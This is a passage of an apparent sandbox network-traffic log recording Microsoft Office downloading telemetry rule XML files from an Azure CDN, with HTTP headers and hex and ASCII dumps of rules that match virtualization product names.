R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:33 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:33 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: e579458c-401e-0064-1dbd-4254af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165633Z-174f7845968cpnpfhC1EWR3afc00000014bg00000000bs71 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:33 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:33 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:33 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 4d2a6959-e01e-0085-41b2-42c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165633Z-174f7845968zgtf6hC1EWRqd8s0000000xq000000000b65n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:33 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:34 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:34 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6dbf519d-601e-0084-1b91-3f6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165634Z-174f7845968kvnqxhC1EWRmf3g0000000reg00000000px8b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:35 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:34 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:34 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 63854d8c-901e-007b-2581-3fac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165634Z-174f7845968xr5c2hC1EWRd0hn0000000png0000000048be x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:35 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:34 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:34 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 5810e7a8-301e-0000-3f91-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165634Z-174f7845968cpnpfhC1EWR3afc00000014ag00000000ects x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:35 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:35 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:35 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: b6cdcd34-001e-0014-02c7-435151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165635Z-174f784596886s2bhC1EWR743w00000014q000000000nr8c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:35 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:35 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:35 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 1fbe2e95-401e-0083-4bb4-43075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165635Z-174f7845968jrjrxhC1EWRmmrs00000014u000000000hy67 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:35 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:36 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:37 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: f7ef784b-001e-0066-274f-44561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165637Z-174f7845968jrjrxhC1EWRmmrs00000014u000000000hy8s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:37 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:36 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:37 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: ccb4b789-101e-0028-02af-428f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165637Z-174f7845968frfdmhC1EWRxxbw00000014ng00000000vmzd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:37 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:36 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:37 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 8abd9dd7-e01e-0099-194f-41da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165637Z-174f78459684bddphC1EWRbht400000014dg00000000h1gk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:37 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49841	13.107.246.63	443	7380	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:37 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:37 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 1e6e7a31-701e-0098-6aa5-43395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165637Z-174f7845968swgbqhC1EWRmnb400000014t000000000s9xc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:37 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:37 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:37 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 657660fb-a01e-00ab-52ac-439106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165637Z-174f7845968xr5c2hC1EWRd0hn0000000pfg00000000qdpw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:38 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" 